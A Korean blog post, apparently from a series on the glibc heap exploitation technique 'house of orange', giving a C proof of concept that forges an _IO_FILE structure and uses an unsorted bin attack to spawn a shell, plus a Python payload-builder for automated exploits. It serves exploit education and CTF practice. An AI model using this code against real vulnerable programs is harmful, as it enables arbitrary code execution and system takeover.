2019/09/03 - [힙(heap)/house_of_orange] - house_of_orange (2)
이전에는 아래의 조건문 중에서 앞의 조건문을 통과시켜 _IO_OVERFLOW를 실행시켰습니다. 이번에는 _mode와 _wide_data부분을 수정하여서 조건문을 만족시키는 것을 해볼 것입니다.
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
그래서 이것을 만족하게 하려면 전과는 다르게 _mode를 양수로 설정하고 _wide_data를 잘 조정하면 됩니다. 이것을 소스코드로 나타내면
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void sys(char* ptr){
system(ptr);
}
int main(){
char *p1_chunk = malloc(8) - 2 * 8;
size_t* top = (size_t*) (p1_chunk + 32);
size_t _IO_list_all;
top[1] = 0xfe1;
malloc(0x1000);
memcpy((char*)top,"/bin/sh\x00",8); // _IO_OVERFLOW's parameter
// fake _IO_FILE_PLUS
_IO_FILE *fp = (_IO_FILE *) top;
fp -> _mode = 1;
top[20] = (size_t)&top[18]; // _wide_data = &top[18]
top[21] = 2; // _wide_data -> _IO_write_base
top[22] = 3; // _wide_data -> _IO_write_ptr
*(size_t *) (((size_t)fp + sizeof(_IO_FILE))) = (size_t)&top[5];// vtable : &top[12]
top[8] =(size_t) &sys; // write _IO_OVERFLOW()
//////////////////////
// unsorted bin attack
_IO_list_all = top[2] + 0x9a8; // calculate _IO_list_all using offset
top[3] =(size_t)_IO_list_all - 16;
/////////////////////
//adjust chunk size
top[1] = 0x61;
////////////////////
//triger abort()
malloc(10);
}
이렇게 되고 이것을 실행시키게 되면 오류메시지가 생기면서 쉘이 따지게 됩니다.
2019/09/09 - [힙(heap)/house_of_orange] - house_of_orange (5) 자동 구조체 생성기 모듈 만들기
이 방법도 자동 익스플로잇으로 짤 수 있게 파이썬으로 짜봅시다. 위의 조건문을 통과하도록 구조체를 잘 짜맞추어야됩니다. 코드가 더 이해하시기 편할 테니 코드로 보여드리겠습니다.
def hog_wide_data(IO_list, ptr, fun):
payload = '/bin/sh\x00'
payload += p64(0x61) # size
payload += p64(0)
payload += p64(IO_list - 16) # bk
payload += p64(2) #_IO_write_base
payload += p64(3) # _IO_write_ptr
payload += p64(fun) # one_gadget or system
payload = payload.ljust(0xa0, '\x00')
payload += p64(ptr+8)
payload = payload.ljust(0xc0, '\x00')
payload += p64(1) # _mode
payload = payload.ljust(0xd8,'\x00')
payload += p64(ptr+24) # vtable
return payload
이런식으로 짤 수 있습니다.
'힙(heap) > house_of_orange' 카테고리의 다른 글
house_of_orange (6) pwnable.tw - bookwriter (0) | 2019.09.10 |
---|---|
house_of_orange (5) 자동 구조체 생성기 모듈 만들기 (0) | 2019.09.09 |
house_of_orange (4) HITCON house of orange writeup (0) | 2019.09.06 |
house_of_orange (3) (0) | 2019.09.04 |
house_of_orange (2) (0) | 2019.09.03 |